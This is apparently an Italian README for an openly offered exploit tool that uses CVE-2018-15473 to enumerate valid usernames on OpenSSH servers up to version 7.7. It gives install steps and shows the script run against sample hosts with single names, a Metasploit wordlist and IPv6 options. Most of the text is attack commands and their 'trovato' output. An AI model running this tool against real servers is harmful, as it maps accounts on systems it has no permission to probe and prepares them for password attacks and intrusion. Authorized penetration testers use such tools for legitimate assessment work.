
Multi-thread, compatibile con IPv6, enumerazione di nomi utente tramite wordlist/singolo utente attraverso CVE-2018-15473
OpenSSH fino alla versione 7.7 è soggetto a una vulnerabilità di enumerazione degli utenti a causa del mancato ritardo del bailout per un utente di autenticazione non valido fino a quando il pacchetto contenente la richiesta non è stato completamente analizzato, correlato a auth2-gss.c, auth2-hostbased.c e auth2-pubkey.c.
Potrebbe essere necessario installare il pacchetto equivalente openssl-dev della propria distribuzione
# NOTA: se stai installando su kali, puoi saltare il pip install; paramiko è già presente.
git clone https://gitlab.com/epi052/cve-2018-15473.git
cd cve-2018-15473
pip install -r requirements.txt
# - OPPURE -
pipenv install -r requirements.txt # se sei figo come quello
chmod u+x ssh-username-enum.py
Un singolo nome utente
(cve-2018-15473)─> ./ssh-username-enum.py -u epi 192.168.1.2
[+] epi trovato!
Usa una wordlist con 10 thread (il default è 4)
(cve-2018-15473)─> ./ssh-username-enum.py -t 10 -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt 192.168.1.2
[+] avahi trovato!
[+] avahi-autoipd trovato!
[+] backup trovato!
[+] daemon trovato!
[+] bin trovato!
------8<------
Indirizzo IPv6 sulla porta 2222 e MAGGIORE VERBOSITÀ!
(cve-2018-15473)─> ./ssh-username-enum.py -6 -p 2222 -v -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt '::1'
[-] 4Dgifts non trovato
[-] demo non trovato
[-] checkfs non trovato
[-] anon non trovato
[-] EZsetup non trovato
[-] auditor non trovato
[-] demos non trovato
[-] OutOfBox non trovato
[-] checkfsys non trovato
[+] avahi trovato!
[-] diag non trovato
[-] ROOT non trovato
[-] checksys non trovato
[-] cmwlogin non trovato
[+] avahi-autoipd trovato!
------8<------